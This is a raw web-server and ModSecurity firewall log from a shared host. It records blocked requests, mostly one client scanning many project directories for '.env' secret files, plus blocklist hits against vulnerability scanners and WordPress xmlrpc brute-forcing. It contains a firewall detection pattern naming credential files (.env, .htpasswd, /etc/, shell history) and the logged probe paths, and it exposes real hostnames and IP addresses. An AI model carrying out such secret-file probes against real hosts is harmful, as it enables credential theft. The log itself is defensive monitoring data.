ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/gameprovider-service/.env"] [unique_id "ai3zTVWSojQL4F7upKBt2wAAAIw"] [Sat Jun 13 18:18:21.289838 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:18:21.290120 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:18:21.330987 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.83:21824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:21.331260 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.83:21824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:21.335315 2026] [security2:error] [pid 648189:tid 648480] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/main/front-end/.env"] [unique_id "ai3zTVWSojQL4F7upKBt3wAAAP4"] [Sat Jun 13 18:18:21.436143 2026] [security2:error] [pid 648189:tid 648244] [remote 17.22.253.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zTVWSojQL4F7upKBt5gAAzxc"] [Sat Jun 13 18:18:21.472761 2026] [security2:error] [pid 648189:tid 648432] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env"] [unique_id "ai3zTVWSojQL4F7upKBt5wAAANM"] [Sat Jun 13 18:18:21.608684 2026] [security2:error] [pid 648189:tid 648384] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/renderer/.env"] [unique_id "ai3zTVWSojQL4F7upKBt6gAAAKQ"] [Sat Jun 13 18:18:21.743664 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/srv6_controller/controller/.env"] [unique_id "ai3zTVWSojQL4F7upKBt8gAAAIk"] [Sat Jun 13 18:18:21.796996 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:21.797284 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:21.842317 2026] [security2:error] [pid 648189:tid 648460] [client 172.56.168.133:51916] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zTVWSojQL4F7upKBt-QAAAOo"] [Sat Jun 13 18:18:21.846585 2026] [access_compat:error] [pid 648189:tid 648234] [remote 57.141.14.111:57820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:21.846894 2026] [access_compat:error] [pid 648189:tid 648234] [remote 57.141.14.111:57820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:21.847530 2026] [security2:error] [pid 648189:tid 648460] [client 172.56.168.133:51916] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zTVWSojQL4F7upKBt-QAAAOo"] [Sat Jun 13 18:18:21.886255 2026] [security2:error] [pid 648189:tid 648448] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/srv6_controller/examples/.env"] [unique_id "ai3zTVWSojQL4F7upKBt-wAAAOI"] [Sat Jun 13 18:18:22.026090 2026] [security2:error] [pid 648189:tid 648356] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/srv6_controller/node-manager/.env"] [unique_id "ai3zTlWSojQL4F7upKBt_gAAAIg"] [Sat Jun 13 18:18:22.089380 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.20:49698] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:22.089750 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.20:49698] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:22.161616 2026] [security2:error] [pid 648189:tid 648410] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/st-js-be-2020-movies-two/.env"] [unique_id "ai3zTlWSojQL4F7upKBuBQAAAL0"] [Sat Jun 13 18:18:22.343143 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZGV2aWNlL2hpZHJhdy9oaWRyYXcwL3Bvd2Vy [Sat Jun 13 18:18:22.343603 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZGV2aWNlL2hpZHJhdy9oaWRyYXcwL3Bvd2Vy [Sat Jun 13 18:18:22.442115 2026] [security2:error] [pid 648189:tid 648355] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/stackato-pkg/.env"] [unique_id "ai3zTlWSojQL4F7upKBuEgAAAIc"] [Sat Jun 13 18:18:22.491025 2026] [security2:error] [pid 648189:tid 648283] [remote 17.241.75.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zTlWSojQL4F7upKBuEwAA7D0"] [Sat Jun 13 18:18:22.495229 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.7:25223] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:22.495512 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.7:25223] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:22.577882 2026] [security2:error] [pid 648189:tid 648411] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/stag/.env"] [unique_id "ai3zTlWSojQL4F7upKBuFwAAAL4"] [Sat Jun 13 18:18:22.770612 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.99:36218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:22.770900 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.99:36218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:22.847552 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:22.847826 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:22.996907 2026] [security2:error] [pid 648189:tid 648226] [remote 5.175.167.71:57428] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.175.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zTlWSojQL4F7upKBuKwAAmQY"] [Sat Jun 13 18:18:22.997210 2026] [security2:error] [pid 648189:tid 648373] [client 5.175.167.71:57428] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zTlWSojQL4F7upKBuKwAAmQY"] [Sat Jun 13 18:18:23.007622 2026] [security2:error] [pid 648189:tid 648380] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/staging/api/.env"] [unique_id "ai3zT1WSojQL4F7upKBuLAAAAKA"] [Sat Jun 13 18:18:23.032415 2026] [security2:error] [pid 646876:tid 647040] [client 74.7.230.49:43972] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.esvarbon.gov.ng"] [uri "/index.php"] [unique_id "ai3zStyTkdrNlD40tSG04gAAIB4"] [Sat Jun 13 18:18:23.134743 2026] [security2:error] [pid 646876:tid 647025] [client 210.217.96.217:40224] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zT9yTkdrNlD40tSG1KQAAABE"] [Sat Jun 13 18:18:23.134925 2026] [security2:error] [pid 646876:tid 647025] [client 210.217.96.217:40224] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zT9yTkdrNlD40tSG1KQAAABE"] [Sat Jun 13 18:18:23.144568 2026] [security2:error] [pid 648189:tid 648360] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/staging/backend/.env"] [unique_id "ai3zT1WSojQL4F7upKBuNAAAAIw"] [Sat Jun 13 18:18:23.280928 2026] [security2:error] [pid 648189:tid 648424] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/staging/frontend/.env"] [unique_id "ai3zT1WSojQL4F7upKBuPQAAAMs"] [Sat Jun 13 18:18:23.344339 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:23.344630 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 